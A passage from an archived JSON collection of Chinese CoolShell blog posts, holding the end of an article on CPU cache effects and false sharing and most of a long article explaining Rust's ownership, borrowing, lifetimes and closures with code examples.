Line上，就会导致缓存需要不断进在两个CPU的L1/L2中进行同步，从而导致了5倍的时间差异**。\n\n\n##### 示例五\n\n\n接下来，我们再来看一下另外一段代码：我们想统计一下一个数组中的奇数个数，但是这个数组太大了，我们希望可以用多线程来完成这个统计。下面的代码中，**我们为每一个线程传入一个 id ，然后通过这个 id 来完成对应数组段的统计任务。这样可以加快整个处理速度**。\n\n\n\n```\nint total_size = 16 * 1024 * 1024; //数组长度\nint* test_data = new test_data[total_size]; //数组\nint nthread = 6; //线程数（因为我的机器是6核的）\nint result[nthread]; //收集结果的数组\n\nvoid thread_func (int id) {\n    result[id] = 0;\n    int chunk_size = total_size / nthread + 1;\n    int start = id * chunk_size;\n    int end = min(start + chunk_size, total_size);\n\n    for ( int i = start; i < end; ++i ) {\n        if (test_data[i] % 2 != 0 ) ++result[id];\n    }\n}\n```\n\n然而，在执行过程中，**你会发现，6个线程居然跑不过1个线程**。因为根据上面的例子你知道 `result[]` 这个数组中的数据在一个Cache Line中，所以，所有的线程都会对这个 Cache Line 进行写操作，导致所有的线程都在不断地重新同步 `result[]` 所在的 Cache Line，所以，导致 6 个线程还跑不过一个线程的结果。这叫 **False Sharing**。\n\n\n优化也很简单，使用一个线程内的变量。\n\n\n\n```\nvoid thread_func (int id) {\n    result[id] = 0;\n    int chunk_size = total_size / nthread + 1;\n    int start = id * chunk_size;\n    int end = min(start + chunk_size, total_size);\n\n    int c = 0; //使用临时变量，没有cache line的同步了\n    for ( int i = start; i < end; ++i ) {\n        if (test_data[i] % 2 != 0 ) ++c;\n    }\n    result[id] = c;\n}\n```\n\n我们把两个程序分别在 1 到 32 个线程上跑一下，得出的结果画一张图如下所示（横轴是线程数，纵轴是完成统的时间，单位是微秒）：\n\n\n![](../wp-content/uploads/2020/03/false.sharing-1024x643.png)\n\n\n上图中，我们可以看到，灰色的曲线就是第一种方法，橙色的就是第二种（用局部变量的）方法。当只有一个线程的时候，两个方法相当，基本没有什么差别，但是在线程数增加的时候的时候，你会发现，第二种方法的性能提高的非常快。直到到达6个线程的时候，开始变得稳定（前面说过，我的CPU是6核的）。而第一种方法无论加多少线程也没有办法超过第二种方法。因为第一种方法不是CPU Cache 友好的。也就是说，第二种方法，**只要我的CPU核数足够多，就可以做到线性的性能扩展，让每一个CPU核都跑起来，而第一种则不能**。\n\n\n篇幅问题，示例就写到这里，相关的代码参看[我的Github相关仓库](https://github.com/haoel/cpu-cache)。\n\n\n#### 延伸阅读\n\n\n* Wikipedia : [CPU Cache](https://en.wikipedia.org/wiki/CPU_cache)\n* 经典文章：[Gallery of Processor Cache Effects](http://igoro.com/archive/gallery-of-processor-cache-effects/) （这篇文章中的测试已经有点过时了，但是这篇文章中所说的那些东西还是非常适用的）\n* Effective C++作者 Scott Meyers 的演讲 CPU Caches and Why You Care （[Youtube](https://www.youtube.com/watch?v=WDIkqP4JbkE)，[PPT](https://www.aristeia.com/TalkNotes/codedive-CPUCachesHandouts.pdf)）\n* 美国私立大学Swarthmore的教材 [Cache Architecture and Design](https://www.cs.swarthmore.edu/~kwebb/cs31/f18/memhierarchy/caching.html)\n* 经典文章：[What Every Programmer Should Know About Memory](https://people.freebsd.org/~lstewart/articles/cpumemory.pdf) （这篇文章非常经典，但是开篇太晦涩了，居然告诉你晶体管内的构造，第三章和第六章是重点）\n* Nonblocking Algorithms and Scalable Multicore Programming （[英文版](https://queue.acm.org/detail.cfm?id=2492433)，[中文版](https://www.oschina.net/translate/nonblocking-algorithms-and-scalable-multicore-programming)）\n* Github上的一个代码库 [hardware-effects](https://github.com/Kobzol/hardware-effects) 里面有受CPU影响的程序的演示\n* Optimizing for instruction caches （[Part 1](https://www.eetimes.com/optimizing-for-instruction-caches-part-1/)，[Part 2](https://www.eetimes.com/optimizing-for-instruction-caches-part-2/)， [Part 3](https://www.eetimes.com/optimizing-for-instruction-caches-part-3/)）\n* 经典数据：[Latency Numbers Every Programmer Should Know](https://gist.github.com/jboner/2841832)\n* 关于Java的可以看一下这篇[Optimizing Memory Access With CPU Cache](https://dzone.com/articles/optimizing-memory-access-with-cpu-cache) 或是 [Writing cache-friendly code](https://www.stardog.com/blog/writing-cache-friendly-code/)\n\n\n总之，这个CPU Cache的调优技术不是什么新鲜的东西，只要Google就能找到有很多很多文章……\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![7个示例科普CPU Cache](../wp-content/uploads/2013/07/image6-150x150.png)](https://coolshell.cn/articles/10249.html)[7个示例科普CPU Cache](https://coolshell.cn/articles/10249.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/2039.html)[CPU的性价比](https://coolshell.cn/articles/2039.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/1044.html)[高级Unix命令](https://coolshell.cn/articles/1044.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [与程序员相关的CPU缓存知识](https://coolshell.cn/articles/20793.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-4-4 Rust语言的编程范式.md",
    "content": "---\nlayout: post\ntitle: Rust语言的编程范式\ndate: 2020/4/4/ 6:48:23\nupdated: 2020/4/4/ 6:48:23\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/03/rust-social-wide-360x200.jpg)总是有很多很多人来问我对Rust语言怎么看的问题，在各种地方被at，其实，我不是很想表达我的想法。因为在不同的角度，你会看到不同的东西。编程语言这个东西，老实说很难评价，在学术上来说，Lisp就是很好的语言，然而在工程使用的时候，你会发现Lisp没什么人用，而Javascript或是PHP这样在学术很糟糕设计的语言反而成了主流，你觉得C++很反人类，在我看来，C++有很多不错的设计，而且对于了解编程语言和编译器的和原理非常有帮助。**但是C++也很危险，所以，出现在像Java或Go 语言来改善它，Rust本质上也是在改善C++的。他们各自都有各自的长处和优势**。\n\n\n因为各个语言都有好有不好，因此，我不想用别的语言来说Rust的问题，或是把Rust吹成朵花以打压别的语言，写成这样的文章，是很没有营养的事。**本文主要想通过Rust的语言设计来看看编程中的一些挑战，尤其是Rust重要的一些编程范式，这样反而更有意义一些，因为这样你才可能一通百通**。\n\n\n这篇文章的篇幅比较长，而且有很多代码，信息量可能会非常大，所以，**在读本文前，你需要有如下的知识准备**：\n\n\n* 你对C++语言的一些特性和问题比较熟悉。尤其是：指针、引用、右值move、内存对象管理、泛型编程、智能指针……\n* 当然，你还要略懂Rust，不懂也没太大关系，但本文不会是Rust的教程文章，可以参看“[Rust的官方教程](https://doc.rust-lang.org/book/title-page.html)”（[中文版](https://kaisery.github.io/trpl-zh-cn/)）\n\n\n**因为本文太长，所以，我有必要写上 TL;DR ——**\n\n\n\nJava 与 Rust 在改善C/C++上走了完全不同的两条路，他们主要改善的问题就是C/C++ Safety的问题。所谓C/C++编程安全上的问题，主要是：内存的管理、数据在共享中出现的“野指针”、“野引用”的问题。\n\n\n* 对于这些问题，Java用引用垃圾回收再加上强大的VM字节码技术可以进行各种像反射、字节码修改的黑魔法。\n* 而Rust不玩垃圾回收，也不玩VM，所以，作为静态语言的它，只能在编译器上下工夫。如果要让编译器能够在编译时检查出一些安全问题，那么就需要程序员在编程上与Rust语言有一些约定了，其中最大的一个约定规则就是变量的所有权问题，并且还要在代码上“去糖”，比如让程序员说明一些共享引用的生命周期。\n* Rust的这些所有权的约定造成了很大的编程上的麻烦，写Rust的程序时，基本上来说，你的程序再也不要想可能轻轻松松能编译通过了。而且，在面对一些场景的代码编写时，如：函数式的闭包，多线程的不变数据的共享，多态……开始变得有些复杂，并会让你有种找不到北的感觉。\n* Rust的Trait很像Java的接口，通过Trait可以实现C++的拷贝构造、重载操作符、多态等操作……\n* 学习Rust的学习曲线并不平，用Rust写程序，基本上来说，一旦编译通过，代码运行起来是安全的，bug也是很少的。\n\n\n**如果你对Rust的概念认识的不完整，你完全写不出程序，那怕就是很简单的一段代码**。**这逼着程序员必需了解所有的概念才能编码。但是，另一方面也表明了这门语言并不适合初学者……**\n\n\n#### 变量的可变性\n\n\n首先，Rust里的变量声明默认是“不可变的”，如果你声明一个变量 `let x = 5;`  变量 `x` 是不可变的，也就是说，`x = y + 10;` 编译器会报错的。如果你要变量的话，你需要使用 `mut` 关键词，也就是要声明成 `let mut x = 5;` 表示这是一个可以改变的变量。这个是比较有趣的，因为其它主流语言在声明变量时默认是可变的，而Rust则是要反过来。这可以理解，不可变的通常来说会有更好的稳定性，而可变的会代来不稳定性。所以，Rust应该是想成为更为安全的语言，所以，默认是 immutable 的变量。当然，Rust同样有 `const` 修饰的常量。于是，Rust可以玩出这么些东西来：\n\n\n* 常量：`const LEN:u32 = 1024;` 其中的 `LEN` 就是一个`u32` 的整型常量（无符号32位整型），是编译时用到的。\n* 可变的变量： `let mut x = 5;` 这个就跟其它语言的类似， 在运行时用到。\n* 不可变的变量：`let x= 5;` 对这种变量，你无论修改它，但是，你可以使用 `let x = x + 10;` 这样的方式来重新定义一个新的 `x`。这个在Rust里叫 Shadowing ，第二个 `x`  把第一个 `x` 给遮蔽了。\n\n\n不可变的变量对于程序的稳定运行是有帮助的，这是一种编程“契约”，当处理契约为不可变的变量时，程序就可以稳定很多，尤其是多线程的环境下，因为不可变意味着只读不写，其他好处是，与易变对象相比，它们更易于理解和推理，并提供更高的安全性。有了这样的“契约”后，编译器也很容易在编译时查错了。这就是Rust语言的编译器的编译期可以帮你检查很多编程上的问题。\n\n\n对于标识不可变的变量，在 C/C++中我们用`const` ，在Java中使用 `final` ，在 C#中使用 `readonly` ，Scala用 `val` ……（在Javascript 和Python这样的动态语言中，原始类型基本都是不可变的，而自定义类型是可变的）。\n\n\n对于Rust的Shadowing，我个人觉得是比较危险的，在我的职业生涯中，这种使用同名变量（在嵌套的scope环境下）带来的bug还是很不好找的。一般来说，每个变量都应该有他最合适的名字，最好不要重名。\n\n\n#### 变量的所有权\n\n\n这个是Rust这个语言中比较强调的一个概念。其实，在我们的编程中，很多情况下，都是把一个对象（变量）传递过来传递过去，在传递的过程中，传的是一份复本，还是这个对象本身，也就是所谓的“传值还是传引用”的被程序员问得最多的问题。\n\n\n* **传递副本（传值）**。把一个对象的复本传到一个函数中，或是放到一个数据结构容器中，可能需要出现复制的操作，这个复制对于一个对象来说，需要深度复制才安全，否则就会出现各种问题。而深度复制就会导致性能问题。\n* **传递对象本身（传引用）**。传引用也就是不需要考虑对象的复制成本，但是需要考虑对象在传递后，会多个变量所引用的问题。比如：我们把一个对象的引用传给一个List或其它的一个函数，这意味着，大家对同一个对象都有控制权，如果有一个人释放了这个对象，那边其它人就遭殃了，所以，一般会采用引用计数的方式来共享一个对象。引用除了共享的问题外，还有作用域的问题，比如：你从一个函数的栈内存中返回一个对象的引用给调用者，调用者就会收到一个被释放了个引用对象（因为函数结束后栈被清了）。\n\n\n这些东西在任何一个编程语言中都是必需要解决的问题，要足够灵活到让程序员可以根据自己的需要来写程序。\n\n\n在C++中，如果你要传递一个对象，有这么几种方式：\n\n\n* **引用或指针。**也就是不建复本，完全共享，于是，但是会出现悬挂指针（[Dangling Pointer](https://en.wikipedia.org/wiki/Dangling_pointer)）又叫野指针的问题，也就是一个指针或引用指向一块废弃的内存。为了解决这个问题，C++的解决方案是使用 `share_ptr` 这样的托管类来管理共享时的引用计数。\n* **传递复本**，传递一个拷贝，需要重载对象的“拷贝构造函数”和“赋值构造函数”。\n* **移动Move**。C++中，为了解决一些临时对象的构造的开销，可以使用Move操作，把一个对象的所有权移动到给另外一个对象，这个解决了C++中在传递对象时的会产生很多临时对象来影响性能的情况。\n\n\nC++的这些个“神操作”，可以让你非常灵活地在各种情况下传递对象，但是也提升整体语言的复杂度。而Java直接把C/C++的指针给废了，用了更为安全的引用 ，然后为了解决多个引用共享同一个内存，内置了引用计数和垃圾回收，于是整个复杂度大大降低。对于Java要传对象的复本的话，需要定义一个通过自己构造自己的构造函数，或是通过prototype设计模式的 `clone()` 方法来进行，如果你要让Java解除引用，需要明显的把引用变量赋成 `null` 。总之，无论什么语言都需要这对象的传递这个事做好，不然，无法提供相对比较灵活编程方法。\n\n\n在Rust中，Rust强化了“所有权”的概念，下面是Rust的所有者的三大铁律：\n\n\n1. Rust 中的每一个值都有一个被称为其 **所有者**（owner）的变量。\n2. 值有且只有一个所有者。\n3. 当所有者（变量）离开作用域，这个值将被丢弃。\n\n\n这意味着什么？\n\n\n如果你需要传递一个对象的复本，你需要给这个对象实现 `Copy` trait ，**trait** 怎么翻译我也不知道，你可以认为是一个对象的一些特别的接口（可以用于一些对像操作上的约定，比如：`Copy` 用于复制（类型于C++的拷贝构造和赋值操作符重载），`Display` 用于输出（类似于Java的 `toString()`），还有 `Drop` 和操作符重载等等，当然，也可以是对象的方法，或是用于多态的接口定义，后面会讲）。\n\n\n对于内建的整型、布尔型、浮点型、字符型、多元组都被实现了 `Copy` 所以，在进行传递的时候，会进行`memcpy` 这样的复制（bit-wise式的浅拷贝）。而对于对象来说，则不行，在Rust的编程范式中，需要使用的是 `Clone` trait。\n\n\n于是，`Copy` 和 `Clone` 这两个相似而又不一样的概念就出来了，`Copy` 主要是给内建类型，或是由内建类型全是支持 `Copy` 的对象，而 `Clone` 则是给程序员自己复制对象的。嗯，这就是浅拷贝和深拷贝的差别，`Copy` 告诉编译器，我这个对象可以进行 bit-wise的复制，而 `Clone` 则是指深度拷贝。\n\n\n像 `String` 这样的内部需要在堆上分布内存的数据结构，是没有实现`Copy` 的（因为内部是一个指针，所以，语义上是深拷贝，浅拷贝会招至各种bug和crash），需要复制的话，必需手动的调用其 `clone()` 方法，如果不这样的的话，当在进行函数参数传递，或是变量传递的时候，所有权一下就转移了，而之前的变量什么也不是了（这里编译器会帮你做检查有没有使用到所有权被转走的变量）。这个相当于C++的Move语义。\n\n\n参看下面的示例，你可能对Rust自动转移所有权会有更好的了解（代码中有注释了，我就不多说了）。\n\n\n\n```\n// takes_ownership 取得调用函数传入参数的所有权，因为不返回，所以变量进来了就出不去了\nfn takes_ownership(some_string: String) {\n    println!(\"{}\", some_string);\n} // 这里，some_string 移出作用域并调用 drop 方法。占用的内存被释放\n\n// gives_ownership 将返回值移动给调用它的函数\nfn gives_ownership() -> String {\n    let some_string = String::from(\"hello\"); // some_string 进入作用域.\n    some_string // 返回 some_string 并移出给调用的函数\n}\n\n// takes_and_gives_back 将传入字符串并返回该值\nfn takes_and_gives_back(mut a_string: String) -> String {\n    a_string.push_str(\", world\");\n    a_string  // 返回 a_string 将所有权移出给调用的函数\n}\n\nfn main()\n{\n    // gives_ownership 将返回值移给 s1\n    let s1 = gives_ownership();\n    // 所有权转给了 takes_ownership 函数, s1 不可用了\n    takes_ownership(s1);\n    // 如果编译下面的代码，会出现s1不可用的错误\n    // println!(\"s1= {}\", s1);\n    //                    ^^ value borrowed here after move\n    let s2 = String::from(\"hello\");// 声明s2\n    // s2 被移动到 takes_and_gives_back 中, 它也将返回值移给 s3。\n    // 而 s2 则不可用了。\n    let s3 = takes_and_gives_back(s2);\n    //如果编译下面的代码，会出现可不可用的错误\n    //println!(\"s2={}, s3={}\", s2, s3);\n    //                         ^^ value borrowed here after move\n    println!(\"s3={}\", s3);\n}\n\n```\n\n这样的 Move 的方式，在性能上和安全性上都是非常有效的，而Rust的编译器会帮你检查出使用了所有权被move走的变量的错误。而且，我们还可以从函数栈上返回对象了，如下所示：\n\n\n\n```\nfn new_person() -> Person {\n    let person = Person {\n        name : String::from(\"Hao Chen\"),\n        age : 44,\n        sex : Sex::Male,\n        email: String::from(\"haoel@hotmail.com\"),\n    };\n    return person;\n}\n\nfn main() {\n   let p  = new_person();\n}\n\n```\n\n因为对象是Move走的，所以，在函数上 `new_person()` 上返回的 `Person` 对象是Move 语言，被Move到了 `main()` 函数中来，这样就没有性能上的问题了。而在C++中，我们需要把对象的Move函数给写出来才能做到。因为，C++默认是调用拷贝构造函数的，而不是Move的。\n\n\n#### Owner语义带来的复杂度\n\n\nOwner + Move 的语义也会带来一些复杂度。首先，如果有一个结构体，我们把其中的成员 Move 掉了，会怎么样。参看如下的代码：\n\n\n\n```\n#[derive(Debug)] // 让结构体可以使用 {:?}的方式输出\nstruct Person {\n    name :String,\n    email:String,\n}\n\nlet _name = p.name; // 把结构体 Person::name Move掉\nprintln!(\"{} {}\", _name, p.email); //其它成员可以正常访问\nprintln!(\"{:?}\", p); //编译出错 \"value borrowed here after partial move\"\np.name = \"Hao Chen\".to_string(); // Person::name又有了。\nprintln!(\"{:?}\", p); //可以正常的编译了\n\n```\n\n上面这个示例，我们可以看到，结构体中的成员是可以被Move掉的，Move掉的结构实例会成为一个部分的未初始化的结构，如果需要访问整个结构体的成员，会出现编译问题。但是后面把 Person::name补上后，又可以愉快地工作了。\n\n\n下面我们再看一个更复杂的示例——这个示例模拟动画渲染的场景，我们需要有两个buffer，一个是正在显示的，另一个是下一帧要显示的。\n\n\n\n```\nstruct Buffer {\n    buffer : String,\n}\n\nstruct Render {\n    current_buffer : Buffer,\n    next_buffer : Buffer,\n}\n//实现结构体 Render 的方法\nimpl Render { \n    //实现 update_buffer() 方法，\n    //更新buffer，把 next 更新到 current 中，再更新 next\n    fn update_buffer(& mut self, buf : String) {\n        self.current_buffer = self.next_buffer;\n        self.next_buffer = Buffer{ buffer: buf};\n    }\n}\n\n```\n\n上面这段代码，我们写下来没什么问题，但是 Rust 编译不会让我们编译通过。它会告诉我们如下的错误：\n\n\n\n```\nerror[E0507]: cannot move out of self.next_buffer which is behind a mutable reference\n--> /.........../xxx.rs:18:31\n|\n14 | self.current_buffer = self.next_buffer;\n|                          ^^^^^^^^^^^^^^^^ move occurs because self.next_buffer has type Buffer,\n                                            which does not implement the Copy trait\n```\n\n编译器会提示你，`Buffer` 没有 Copy trait 方法。**但是，如果你实现了 Copy 方法后，你又不能享受 Move 带来的性能上快乐了。于是，到这里，你开始进退两难了，完全不知道取舍了**。\n\n\n* Rust编译器不让我们在成员方法中把成员Move走，因为 `self` 引用就不完整了。\n* Rust要我们实现 `Copy` Trait，但是我们不想要拷贝，因为我们就是想把 `next_buffer` move 到 `current_buffer` 中\n\n\n我们想要同时 Move 两个变量，参数 `buf` move 到 `next_buffer` 的同时，还要把 `next_buffer` 里的东西 move 到 `current_buffer` 中。 我们需要一个“杂耍”的技能。  \n\n![](../wp-content/uploads/2020/03/indy.gif)\n\n\n这个需要动用 `std::mem::replace(&dest, src)` 函数了， 这个函数技把 `src` 的值 move 到 `dest` 中，然后把 `dest` 再返回出来（这其中使用了 unsafe 的一些底层骚操作才能完成）。Anyway，最终是这样实现的：\n\n\n\n```\nuse std::mem::replace\nfn update_buffer(& mut self, buf : String) { \n  self.current_buffer = replace(&mut self.next_buffer, Buffer{buffer : buf}); \n}\n```\n\n不知道你觉得这样“杂耍”的代码看上去怎么以样？我觉得可读性下降一个数量级。\n\n\n#### 引用（借用）和生命周期\n\n\n下面，我们来讲讲引用，因为把对象的所有权 Move 走了的情况，在一些时候肯定不合适，比如，我有一个 `compare(s1: Student, s2: Student) -> bool` 我想比较两个学生的平均份成绩， 我不想传复本，因为太慢，我也不想把所有权交进去，因为只是想计算其中的数据。这个时候，传引用就是一个比较好的选择，Rust同样支持传引用。只需要把上面的函数声明改成：`compare(s1 :&Student, s2 : &Student) -> bool` 就可以了，在调用的时候，`compare (&s1, &s2);`  与C++一致。在Rust中，这也叫“借用”（嗯，Rust发明出来的这些新术语，在语义上感觉让人更容易理解了，当然，也增加了学习的复杂度了）\n\n\n##### 引用（借用）\n\n\n另外，如果你要修改这个引用对象，就需要使用“可变引用”，如：`foo( s : &mut Student)` 以及 `foo( &mut s);`另外，为了避免一些数据竞争需要进行数据同步的事，Rust严格规定了——**在任意时刻，要么只能有一个可变引用，要么只能有多个不可变引用**。\n\n\n这些严格的规定会导致程序员失去编程的灵活性，不熟悉Rust的程序员可能会在一些编译错误下会很崩溃，但是你的代码的稳定性也会提高，bug率也会降低。\n\n\n另外，Rust为了解决“野引用”的问题，也就是说，有多个变量引用到一个对象上，还不能使用额外的引用计数来增加程序运行的复杂度。那么，Rust就要管理程序中引用的生命周期了，而且还是要在编译期管理，如果发现有引用的生命周期有问题的，就要报错。比如：\n\n\n\n```\nlet r;\n{\n    let x = 10;\n    r = &x;\n}\nprintln!(\"r = {}\",r );\n\n```\n\n上面的这段代码，程序员肉眼就能看到 `x` 的作用域比 `r`  小，所以导致 `r` 在 `println()` 的时候 `r` 引用的 `x` 已经没有了。这个代码在C++中可以正常编译而且可以执行，虽然最后可以打出“内嵌作用域”的 `x` 的值，但其实这个值已经是有问题的了。而在 Rust 语言中，编译器会给出一个编译错误，告诉你，“`x` dropped here while still borrowed”，这个真是太棒了。\n\n\n但是这中编译时检查的技术对于目前的编译器来说，只在程序变得稍微复杂一点，编译器的“失效引用”检查就不那么容易了。比如下面这个代码：\n\n\n\n```\nfn order_string(s1 : &str, s2 : &str) -> (&str, &str) {\n    if s1.len() < s2.len() {\n        return (s1, s2);\n    }\n    return (s2, s1);\n}\n\nlet str1 = String::from(\"long long long long string\");\nlet str2 = \"short string\";\n\nlet (long_str, short_str) = order_string(str1.as_str(), str2);\n\nprintln!(\" long={} nshort={} \", long_str, short_str);\n\n```\n\n我们有两个字符串，`str1` 和 `str2` 我们想通过函数 `order_string()` 把这两个字串符返回成 `long_str` 和 `short_str`  这样方便后面的代码进行处理。这是一段很常见的处理代码的示例。然而，你会发现，这段代码编译不过。编译器会告诉你，`order_string()` 返回的 引用类型 `&str` 需要一个 lifetime的参数 – “ expected lifetime parameter”。这是因为Rust编译无法通过观察静态代码分析返回的两个引用返回值，到底是`(s1, s2)` 还是 `(s2, s1)` ，因为这是运行时决定的。所以，返回值的两个参数的引用没法确定其生命周期到底是跟 `s1` 还是跟 `s2`，这个时候，编译器就不知道了。\n\n\n##### 生命周期\n\n\n如果你的代码是下面这个样子，编程器可以自己推导出来，函数 `foo()` 的参数和返回值都是一个引用，他们的生命周期是一样的，所以，也就可以编译通过。\n\n\n\n```\nfn foo (s: &mut String) -> &String {\n    s.push_str(\"coolshell\");\n    s\n}\n\nlet mut s = \"hello, \".to_string();\nprintln!(\"{}\", foo(&mut s))\n\n```\n\n而对于传入多个引用，返回值可能是任一引用，这个时候编译器就犯糊涂了，因为不知道运行时的事，所以，就需要程序员来标注了。\n\n\n\n```\nfn long_string<'c>(s1 : &'c str, s2 : &'c str) -> (&'c str, &'c str) {\n    if s1.len() > s2.len() {\n        return (s1, s2);\n    }\n    return (s2, s1);\n}\n\n```\n\n上述的Rust的标注语法，用个单引号加一个任意字符串来标注（`'static`除外，这是一个关键词，表示生命周期跟整个程序一样长），然后，说明返回的那两个引用的生命周期跟 `s1` 和 `s2` 的生命周期相同，这个标注的目的就是把运行时的事变成了编译时的事。于是程序就可以编译通过了。（注：你也不要以为你可以用这个技术乱写生命周期，这只是一种“去语法糖操作”，是帮助编译器理解其中的生命周期，如果违反实际生命周期，编译器也是会拒绝编译的）\n\n\n这里有两个说明，\n\n\n* 只要你玩引用，生命周期标识就会来了。\n* Rust编译器不知道运行时会发生什么事，所以，需要你来标注声明\n\n\n我感觉，你现在开始有点头晕了吧？接下来，我们让你再晕一下。比如：如果你要在结构体中玩引用，那必需要为引用声明生命周期，如下所示：\n\n\n\n```\n// 引用 ref1 和 ref2 的生命周期与结构体一致\nstruct Test <'life> {\n    ref_int : &'life i32,\n    ref_str : &'life str,\n}\n\n```\n\n其中，生命周期标识 `'life` 定义在结构体上，被使用于其成员引用上。意思是声明规则——“**结构体的生命周期 <= 成员引用的生命周期**”\n\n\n然后，如果你要给这个结构实现两个 `set` 方法，你也得带上 lifetime 标识。\n\n\n\n```\nimp<'life> Test<'life> {\n    fn set_string(&mut self, s : &'life str) {\n        self.ref_str = s;\n    }\n    fn set_int(&mut self,  i : &'life i32) {\n        self.ref_int = i;\n    }\n}\n\n```\n\n在上面的这个示例中，生命周期变量 `'life` 声明在 `impl` 上，用于结构体和其方法的入参上。 意思是声明规则——“**结构体方法的“引用参数”的生命周期 >= 结构体的生命周期**”\n\n\n有了这些个生命周期的标识规则后，Rust就可以愉快地检查这些规则说明，并编译代码了。\n\n\n#### 闭包与所有权\n\n\n这种所有权和引用的严格区分和管理，会影响到很多地方，下面我们来看一下函数闭包中的这些东西的传递。函数闭包又叫Closure，是函数式编程中一个不可或缺的东西，又被称为lambda表达式，基本上所有的高级语言都会支持。在 Rust 语言中，其闭包函数的表示是用两根竖线（| |）中间加传如参数进行定义。如下所示：\n\n\n\n```\n// 定义了一个 x + y 操作的 lambda f(x, y) = x + y;\nlet plus = |x: i32, y:i32| x + y; \n// 定义另一个lambda g(x) = f(x, 5)\nlet plus_five = |x| plus(x, 5); \n//输出\nprintln!(\"plus_five(10)={}\", plus_five(10) );\n```\n\n##### 函数闭包\n\n\n但是一旦加上了上述的所有权这些东西后，问题就会变得复杂开来。参看下面的代码。\n\n\n\n```\nstruct Person {\n    name : String,\n    age : u8,\n}\n\nfn main() {\n    let p = Person{ name: \"Hao Chen\".to_string(), age : 44};\n    //可以运行，因为 u8 有 Copy Trait\n    let age = |p : Person| p.age; \n    // String 没有Copy Trait，所以，这里所有权就 Move 走了\n    let name = |p : Person | p.name; \n    println! (\"name={}, age={}\" , name(p), age(p));\n}\n```\n\n上面的代码无法编译通过，因为Rust编译器发现在调用 `name(p)` 的时候，`p` 的所有权被移走了。然后，我们想想，改成引用的版本，如下所示：\n\n\n\n```\nlet age = |p : &Person| p.age;\nlet name = |p : &Person | &p.name;\n\nprintln! (\"name={}, age={}\" , name(&p), age(&p));\n```\n\n你会现在还是无法编译，报错中说：**cannot infer an appropriate lifetime for borrow expression due to conflicting requirements**\n\n\n\n```\nerror[E0495]: cannot infer an appropriate lifetime for borrow expression due to conflicting requirements\n  --> src/main.rs:11:31\n   |\n11 |     let name = |p : &Person | &p.name;\n   |                               ^^^^^^^\n```\n\n然后你开始尝试加 lifetime，用尽各种Rust的骚操作（官方Github上的 [#issue 58052](https://github.com/rust-lang/rust/issues/58052)），然后，还是无法让你的程序可以编译通过。最后，上StackOverflow 里寻找帮助，得到下面的正确写法（这个可能跟这个bug有关系：[#issue 41078](https://github.com/rust-lang/rust/issues/41078) ）。但是这样的写法，已经让简洁的代码变得面目全非。\n\n\n\n```\n//下面的声明可以正确译\nlet name: for<'a> fn(&'a Person) -> &'a String = |p: &Person| &p.name;\n```\n\n上面的这种lifetime的标识也是很奇葩，通过定义一个函数类型来做相关的标注，但是这个函数类型，需要用到 `for<'a>` 关键字。你可能会很confuse这个关键字不是用来做循环的吗？嗯，Rust这种重用关键字的作法，我个人觉得带来了很多不必要的复杂度。总之，这样的声明代码，我觉得基本不会有人能想得到的——“去语法糖操作太严重了，绝大多数人绝对hold不住”！\n\n\n最后，我们再来看另一个问题，下面的代码无法编译通过：\n\n\n\n```\nlet s = String::from(\"coolshell\");\nlet take_str = || s;\nprintln!(\"{}\", s); //ERROR\nprintln!(\"{}\",  take_str()); // OK\n```\n\nRust的编译器会告诉你，`take_str`  把 `s` 的所有权给拿走了（因为需要作成返回值）。所以，后面的输出语句就用不到了。这里意味着：\n\n\n* 对于内建的类型，都实现了 `Copy` 的 trait，那么闭包执行的是 “借用”\n* 对于没有实现 `Copy` 的trait，在闭包中可以调用其方法，是“借用”，但是不能当成返回值，当成返回值了就是“移动”。\n\n\n虽然有了这些“通常情况下是借用的潜规则”，但是还是不能满足一些情况，所以，还要让程序员可以定义 `move` 的“明规则”。下面的代码，一个有 move 一个没有move，他们的差别也不一样。\n\n\n\n```\n//-----------借用的情况-----------\nlet mut num = 5;\n{\n    let mut add_num = |x: i32| num += x;\n    add_num(5);\n}\nprintln!(\"num={}\", num); //输出 10\n\n//-----------Move的情况-----------\nlet mut num = 5;\n{\n    // 把 num（5）所有权给 move 到了 add_num 中，\n    // 使用其成为闭包中的局部变量。\n    let mut add_num = move |x: i32| num += x;\n    add_num(5);\n    println!(\"num(move)={}\", num); //输出10\n}\n//因为i32实现了 Copy，所以，这里还可以访问\nprintln!(\"num(move)={}\", num); //输出5\n```\n\n真是有点头大了，int这样的类型，因为实现了Copy Trait，所以，所有权被移走后，意味着，在内嵌块中的`num` 和外层的 `num` 是两个完全不相干的变量。**但是你在读代码的时候，你的大脑可能并不会让你这么想，因为里面的那个num又没有被声明过，应该是外层的**。我个人觉得这是Rust 各种“按下葫芦起了瓢”的现象。\n\n\n##### 线程闭包\n\n\n通过上面的示例，我们可以看到， `move` 关键词，可以把闭包外使用到的变量给移动到闭包内，成为闭包内的一个局部变量。这种方式，在多线程的方式下可以让线程运行地更为的安全。参看如下代码：\n\n\n\n```\nlet name = \"CoolShell\".to_string();\nlet t = thread::spawn(move || {\n    println!(\"Hello, {}\", name);\n});\nprintln!(\"wait {:?}\", t.join());\n```\n\n首先，线程 `thread::spawn()` 里的闭包函数是不能带参数的，因为是闭包，所以可以使用这个可见范围内的变量，但是，问题来了，因为是另一个线程，所以，这代表其和其它线程（如：主线程）开始共享数据了，所以，在Rust下，要求把使用到的变量给 